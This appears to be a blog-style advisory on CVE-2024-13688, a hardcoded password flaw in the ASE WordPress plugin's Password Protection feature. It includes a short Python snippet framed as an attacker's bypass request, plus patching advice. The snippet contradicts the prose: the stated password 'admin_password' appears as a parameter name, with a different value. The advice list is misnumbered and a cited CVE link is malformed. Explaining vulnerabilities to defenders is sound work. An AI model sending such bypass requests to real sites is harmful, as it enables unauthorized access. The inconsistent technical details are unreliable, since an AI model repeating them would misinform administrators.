A critical security vulnerability, identified as CVE-2024-13688, has recently been discovered in the popular Admin and Site Enhancements (ASE) WordPress plugin. This plugin, which has been installed on thousands of websites, has a hardcoded password in its Password Protection feature before version 7.6.10. As a result, attackers can bypass the protection with a crafted request. In this article, we will delve into the specifics of this vulnerability, how it can be exploited, and steps to protect your WordPress site from attacks.

Overview of the CVE-2024-13688 Vulnerability

When using the Password Protection feature in the ASE plugin before 7.6.10, a hardcoded password "admin_password" is implemented. Consequently, this leaves numerous WordPress websites using this plugin vulnerable to attacks. An attacker can easily craft an HTTP request with the hardcoded password as a parameter to bypass the password protection feature and gain unauthorized access to restricted pages or resources.

How the Exploit Works

To exploit this vulnerability, an attacker can simply craft an HTTP request with the hardcoded password as a parameter value and send it to the target site. As an example, the following code snippet demonstrates how an attacker could send a malicious request:

import requests

url = 'https://www.vulnerable.example.com/password-protected-page';
params = {'admin_password': 'hardcodedpassword'}

response = requests.get(url, params=params)

if response.status_code == 200:
    print("Successfully bypassed password protection!")
else:
    print("Failed to bypass password protection.")

The discovery of this vulnerability has been reported by the following sources

1. CVE Official Page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-13688
2. NIST National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-13688
3. WordPress Plugin Vulnerability Database: https://wpvulndb.com/vulnerabilities/cve-2024-13688

To protect your WordPress site from potential exploit attempts, consider the following measures

1. Immediately update the Admin and Site Enhancements (ASE) WordPress plugin to version 7.6.10 or higher. This will address the vulnerability and eliminate the hardcoded password.
2. As a general security recommendation, keep all your WordPress core files, plugins, and themes up-to-date to minimize the risk of other vulnerabilities.

Enforce two-factor authentication (2FA) for all your admin users.

5. Regularly monitor and assess the security of your site for potential vulnerabilities and unauthorized access attempts.

Conclusion

The CVE-2024-13688 vulnerability serves as a reminder to all WordPress users that security should never be taken for granted or overlooked. By promptly updating the Admin and Site Enhancements (ASE) plugin to the latest version and implementing the suggested security measures, you can safeguard your site from attackers seeking to exploit this serious vulnerability.

Timeline

Published on: 04/28/2025 06:15:15 UTC
Last modified on: 04/29/2025 13:52:10 UTC